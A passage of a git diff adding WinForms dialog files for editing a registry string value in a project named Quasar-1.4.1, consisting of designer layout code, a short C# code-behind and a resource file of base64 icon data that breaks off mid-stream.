this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(9, 12); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueNameTxtBox.Location = new System.Drawing.Point(12, 28); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(343, 20); + this.valueNameTxtBox.TabIndex = 3; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 60); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // valueDataTxtBox + // + this.valueDataTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueDataTxtBox.Location = new System.Drawing.Point(12, 76); + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new System.Drawing.Size(343, 20); + this.valueDataTxtBox.TabIndex = 0; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(280, 111); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(199, 111); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // FrmRegValueEditString + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(364, 146); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditString"; + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.Text = "Edit String"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox valueDataTxtBox; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.cs new file mode 100755 index 0000000..d068af9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.cs @@ -0,0 +1,31 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Registry; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditString : Form + { + private readonly RegValueData _value; + + public FrmRegValueEditString(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + this.valueDataTxtBox.Text = ByteConverter.ToString(value.Data); + } + + private void okButton_Click(object sender, EventArgs e) + { + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp + Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop + Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu + af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr + JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk + Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq + I/88LCX/MyIZ/6qgnP/7+vr/+fj4/5mPjP8uHhf/PCwl/zoqI/85KSP/OSki/zUlHv8rGxT/JhUN/y8e + F/9GNi//gHNt/5+Uj/9+cWv/NiYe/zIiG/84KCH/OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf84KCH/MCAZ/3BiXP/X0s//zMbD/3dqZP89LCX/KhkS/y8eF/81JR7/OSki/zkp + Iv83JyD/MyMc/zEhGv8tHBb/OCkl/83HxP/+/v7//f39/763tP8yIx//MiIb/zUlHv84KCH/OCgi/zkp + Iv85KSL/OCgh/zUkHf8vHhf/MB4X/0U1Lv98bmj/kIF6/0Y2L/8zIxz/OSki/zMjHP8+LifjbV5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf8yIRv/YVJL/+Hd2v/JwsD/QzIr/y0cFf8zIhv/Nycg/zgo + If83JyD/MSEa/ywcFf80JB3/RTUu/1VFPv9dTUb/f3Br/9/Uz//w5eD/9Ovm/+Tc2P9+b2r/WEhB/0g4 + Mf85KSL/OCgh/zcnIP84KCH/Nycg/zcnIP85KSL/Nycg/zQjHP8xIBn/YlNM/4t7dP89LSb/OCgh/zMj + HP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TMjHP8uHRb/ysK//8zGxP9ALyj/MSEa/zkp + Iv84KCH/Nycg/zMjHP85KSL/bFxV/5uLhP+3p6D/y7u0/9XFvv/fz8j/2cnC/7yrpP+jkov/g3Fq/3Ff + WP9uXlj/X09I/1FBOv84KCH/MiIb/zEhGv8zIxz/NiYf/zcnIP84KCH/OSki/zkoIf85KSL/Lh4X/2VV + Tv9zYlz/MiIb/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TAgGf87KyT/8/Hw/5eM + iP8pGRP/Oioj/zcnH/82Jh//NCQd/0U1Lv+djYb/08O8/9fHwP/Swrv/1MS9/9PDu/+mlpD/YlNN/0Q2 + Mv9AMCv/Szoy/1dGP/9iUUv/bl5X/3JjW/9yYlv/ZVVO/1ZGP/9DMyz/MCAZ/y4eF/81JR7/OSki/zkp + Iv84KCH/NCQd/0MyLP+AcGn/KxsU/zQkHf8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TIj + G/83JyD/pJiT/2ZYUf8yIRr/OCgh/zQkHf84KCH/OCgh/5WFfv/Wxr//zb63/8y8tf/Ovrf/yrqz/25g + W/8wIh//YFNO/5eMif+8sq7/2M7K/97Tzv/ZysP/z762/9PCu//Xx8D/zLy1/8a2r/+1pZ7/jHx1/1dH + QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf83JyD/KBYP/zEhGf86KiP/NCQd/3RkXf9aSkP/Szs0/8OzrP/Pv7j/zLy1/86+ + t//Swrv/WUtG/1JHRP/IwL3//Pz7///+/v///v7///////7+/v/8+/v/7+fj/8O0rv+vnpf/0cK7/9HB + uv/Swrv/2cnC/9bGv/+pmZL/QTEq/zMjHP84KCH/MyMc/2hYUf9WRj//Nycg/zMjHP8+Lifjbl5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf83KCD/NiYf/zgoIf82Jh//QjIr/7Kim/9nV1D/QDAp/7mp + ov/Tw7z/y7u0/9PDvP+vn5j/Rzo0/9DLyP/+/f3///7+///+/v/+/v7////////+/v/+/v7//v7+/+vm + 5P+cjYf/e2tk/8Gxqv/QwLn/y7u0/9DAuf/aysP/nIyF/zkpIv8wIBn/XU1G/2lZUv84KCH/OSki/zMj + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + 